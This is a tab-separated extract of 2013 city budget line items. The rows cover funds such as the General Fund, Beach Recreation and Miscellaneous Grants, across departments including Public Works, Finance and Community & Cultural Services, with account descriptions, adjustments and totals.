3231	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	408230.0	MIDTOWN PARKING LOTS	608.0	Licenses and Permits	2013	-122000.0	0	0.0	0.0	0	0	0.0	0	0.0	122000	0	0.0	0.0
3232	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	408240.0	PARKING STRUCTURE 10	608.0	Licenses and Permits	2013	-280000.0	0	0.0	0.0	0	0	0.0	0	0.0	280000	0	0.0	0.0
3233	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561147.0	ST. JOE HPSHP - HUD	810.0	 Supplies and Expenses	2013	21672.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	21672.0
3234	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	3061.0	0	0.0	0.0	0	0	0.0	31	0.0	0	0	0.0	3092.0
3235	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2013	3476.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3476.0
3236	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	577240.0	SERVICE AGREEMENTS		 Supplies and Expenses	2013	309699.65	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	309699.65
3237	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	578420.0	POLICE PIER PATROL		 Supplies and Expenses	2013	393452.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	393452.0
3238	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2013	87552.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	87552.0
3239	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	8614.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8614.0
3240	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		DCAP	804.0	Salaries and Wages	2013	336.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	336.0
3241	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2013	500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	500.0
3242	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
3243	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2013	30500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30500.0
3244	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533216.0	BLDG/CUSTODIAL SUPPLIES - LIB	808.0	 Supplies and Expenses	2013	65000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	65000.0
3245	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2013	35083.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	35083.0
3246	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		CONT SVCS-CITY TV	808.0	 Supplies and Expenses	2013	9136.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9136.0
3247	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2013	24000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	24000.0
3248	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533223.0	BLDG/STR MAINT-ACCESS CENTER	808.0	 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
3249	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	566650.0	MALL MAINTENANCE	808.0	 Supplies and Expenses	2013	59000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	59000.0
3250	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2013	5434.0	0	0.0	0.0	0	0	0.0	54	0.0	0	0	0.0	5488.0
3251	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	6914.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6914.0
3252	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-2350.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2350.0
3253	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2013	1049798.0	0	0.0	-11340.0	0	0	0.0	10385	0.0	0	0	0.0	1048843.0
3254	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	274396.0	0	0.0	-16122.0	0	0	0.0	0	0.0	0	0	0.0	258274.0
3255	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-12220.0	0	0.0	1306.0	0	0	0.0	0	0.0	0	0	0.0	-10914.0
3256	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2013	2967.0	0	0.0	0.0	0	0	0.0	30	0.0	0	0	0.0	2997.0
3257	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2013	1657.0	0	0.0	-4.0	0	0	0.0	0	0.0	0	0	0.0	1653.0
3258	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2013	5265.0	0	0.0	0.0	0	0	0.0	53	0.0	0	0	0.0	5318.0
3259	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-3429.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3429.0
3260	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2013	-180545.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-180545.0
3261	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-24873.0	0	0.0	0.0	0	0	0.0	-502	0.0	0	0	0.0	-25375.0
3262	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	480430.0	0	0.0	0.0	0	0	0.0	18300	0.0	0	0	0.0	498730.0
3263	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2013	13090.0	0	0.0	0.0	0	0	0.0	491	0.0	0	0	0.0	13581.0
3264	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407201.0	ROSIE'S GIRLS DONATIONS	622.0	Other	2013	-1200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1200.0
3265	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	533030.0	PROPERTY INSURANCE	816.0	 Supplies and Expenses	2013	525897.0	0	0.0	0.0	0	0	0.0	0	0.0	-525897	0	0.0	0.0
3266	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	804.0	Salaries and Wages	2013	3779.0	0	0.0	0.0	0	0	0.0	-561	0.0	0	0	0.0	3218.0
3267	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	46354.0	0	0.0	0.0	0	0	0.0	-9483	0.0	0	0	0.0	36871.0
3268	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
3269	B1	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	544018.0	MARTIN CHARIT TRUST-PALISADES	808.0	 Supplies and Expenses	2013	40286.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	40286.0
3270	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	569300.0	BIKE VALET-PROP C LOCAL RETURN	808.0	 Supplies and Expenses	2013	40000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	40000.0
3271	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	409160.0	AGENDA PACKET SUBSCRIPTION	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
3272	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	404771.0	BIKE TRANSIT CTR CONCESSION AG	622.0	Other	2013	-55000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-55000.0
3273	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	409170.0	ACTIVITY PASSPORT	612.0	Charges for Service	2013	-9375.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-9375.0
3274	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	409180.0	COMMERCIAL INSTRUCTION USE CHA	612.0	Charges for Service	2013	-63000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-63000.0
3275	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	ALL OTHER TRANSACTIONS	408530.0	MEMORIAL PARK SUST COMM GRANT	610.0	Intergovernmental	2013	-475000.0	0	0.0	0.0	0	0	0.0	0	-75000.0	0	0	0.0	-550000.0
3276	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
3277	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511748.0	DENTAL	810.0	Salaries and Wages	2013	900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	900.0
3278	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2013	26500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	26500.0
3279	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2013	37395.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	37395.0
3280	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2013	6214.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6214.0
3281	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	2267.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2267.0
3282	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	408000.0	INTERFUND SERVICES-OPEN SP	612.0	Charges for Service	2013	-78223.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-78223.0
3283	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	20559.0	0	0.0	0.0	0	0	0.0	206	0.0	0	0	0.0	20765.0
3284	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522610.0	EQUIPMENT RENTAL	808.0	 Supplies and Expenses	2013	2800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2800.0
3285	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2013	2971.0	0	0.0	0.0	0	0	0.0	30	0.0	0	0	0.0	3001.0
3286	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	46301.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	46301.0
3287	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	577940.0	REIMB FOR PARKING EXPEND	810.0	 Supplies and Expenses	2013	128462.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	128462.0
3288	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	388578.0	0	0.0	0.0	0	0	0.0	3886	0.0	0	0	0.0	392464.0
3289	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511920.0	UNIFORM / TOOL ALLOWANCE	820.0	Salaries and Wages	2013	5100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5100.0
3290	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533211.0	FAC MAINT SVCS-WORK ORDERS	810.0	 Supplies and Expenses	2013	45000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	45000.0
3291	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2013	88000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	88000.0
3292	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	555011.0	CONT SERV/PLANT REPLACE/MIS SE	810.0	 Supplies and Expenses	2013	30000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30000.0
3293	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	551010.0	CAR WASHES		 Supplies and Expenses	2013	225.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	225.0
3294	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	523010.0	ENVIRONMENTAL SERVICES FEE	808.0	 Supplies and Expenses	2013	1237.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1237.0
3295	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	566190.0	EMPLOYEE EVENTS TEAM	804.0	 Supplies and Expenses	2013	30750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30750.0
3296	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2013	16900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16900.0
3297	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2013	28236.0	0	0.0	0.0	0	0	0.0	282	0.0	0	0	0.0	28518.0
3298	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	804.0	Salaries and Wages	2013	288.0	0	0.0	0.0	0	0	0.0	-36	0.0	0	0	0.0	252.0
3299	B1	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579330.0	TRANSFER IN FROM GENERAL FUND		 Supplies and Expenses	2013	-121090.0	0	0.0	0.0	0	0	0.0	-350920	0.0	0	0	0.0	-472010.0
3300	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561116.0	OPCC INTERIM HSG&WELLNS-PROP A	808.0	 Supplies and Expenses	2013	8350.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8350.0
3301	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	408480.0	VACANT PROPERTY MONITORING	612.0	Charges for Service	2013	-70000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-70000.0
3302	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	27996.0	0	0.0	14278.0	0	0	0.0	423	0.0	0	0	0.0	42697.0
3303	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511490.0	OVERTIME	808.0	Salaries and Wages	2013	50215.0	0	0.0	0.0	0	0	0.0	502	0.0	0	0	0.0	50717.0
3304	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	1517.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1517.0
3305	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2013	344554.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	344554.0
3306	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533220.0	BLDG / STRUCTURE MAINTENANCE	808.0	 Supplies and Expenses	2013	31000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	31000.0
3307	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	77364.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	77364.0
3308	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	4830.0	0	0.0	0.0	0	0	0.0	48	0.0	0	0	0.0	4878.0
3309	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-ARTS	808.0	 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
3310	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-SENIOR	808.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
3311	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	ALL OTHER TRANSACTIONS	408520.0	MICHIGAN AVE CALTRANS EJ GRANT	610.0	Intergovernmental	2013	-75000.0	0	0.0	0.0	0	0	0.0	0	-64000.0	0	0	0.0	-139000.0
3312	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408540.0	MULTI MODAL TRAVEL & PARKING	610.0	Intergovernmental	2013	-106650.0	0	0.0	0.0	0	0	0.0	0	-557500.0	0	0	0.0	-664150.0
3313	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		EAP	810.0	Salaries and Wages	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
3314	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	ALL OTHER TRANSACTIONS	404040.0	SAMOHI SR2S GRANT	610.0	Intergovernmental	2013	-800000.0	0	0.0	0.0	0	0	0.0	0	-60546.61	0	0	0.0	-860546.61
3315	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2013	127509.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	127509.0
3316	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	186265.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	186265.0
3317	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-9813.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-9813.0
3318	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	120797.0	0	0.0	0.0	0	0	0.0	1208	0.0	0	0	0.0	122005.0
3319	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	4800.0	0	0.0	0.0	0	0	0.0	48	0.0	0	0	0.0	4848.0
3320	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
3321	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533210.0	BLDG OPER / CUSTODIAL SUPPLIES	808.0	 Supplies and Expenses	2013	135000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	135000.0
3322	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	540590.0	EMPLOYEE RECOGNITION & APPRECI	808.0	 Supplies and Expenses	2013	330.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	330.0
3323	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2013	157652.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	157652.0
3324	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2013	11607.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11607.0
3325	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	12128.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12128.0
3326	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2013	952.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	952.0
3327	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2013	11400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11400.0
3328	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	5214.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5214.0
3329	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2013	3365.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3365.0
3330	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	597.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	597.0
3331	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	403660.0	LIBRARY NON-RESIDENT FEE	612.0	Charges for Service	2013	-375000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-375000.0
3332	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	404970.0	OFFSITE IMPROVEMENTS REIMBURSE	612.0	Charges for Service	2013	-103500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-103500.0
3333	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404710.0	415 PCH - DAY USE	612.0	Charges for Service	2013	-8200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-8200.0
3334	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		DCAP	804.0	Salaries and Wages	2013	432.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	432.0
3335	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2013	7175.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7175.0
3336	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	588090.0	FURNITURE & FURNISHINGS	810.0	 Supplies and Expenses	2013	43916.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	43916.0
3337	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	116718.0	0	0.0	0.0	0	0	0.0	1167	0.0	0	0	0.0	117885.0
3338	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	86084.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	86084.0
3339	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2013	7704.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7704.0
3340	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
3341	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2013	610.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	610.0
3342	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2013	3240.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3240.0
3343	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	309447.0	0	0.0	0.0	0	0	0.0	-57346	0.0	0	0	0.0	252101.0
3344	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	804.0	Salaries and Wages	2013	418.0	0	0.0	0.0	0	0	0.0	-52	0.0	0	0	0.0	366.0
3345	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	6952.0	0	0.0	0.0	0	0	0.0	-869	0.0	0	0	0.0	6083.0
3346	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	406545.0	USED OIL PAY PROG OPP3	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	0	-25596.0	0	0	0.0	-25596.0
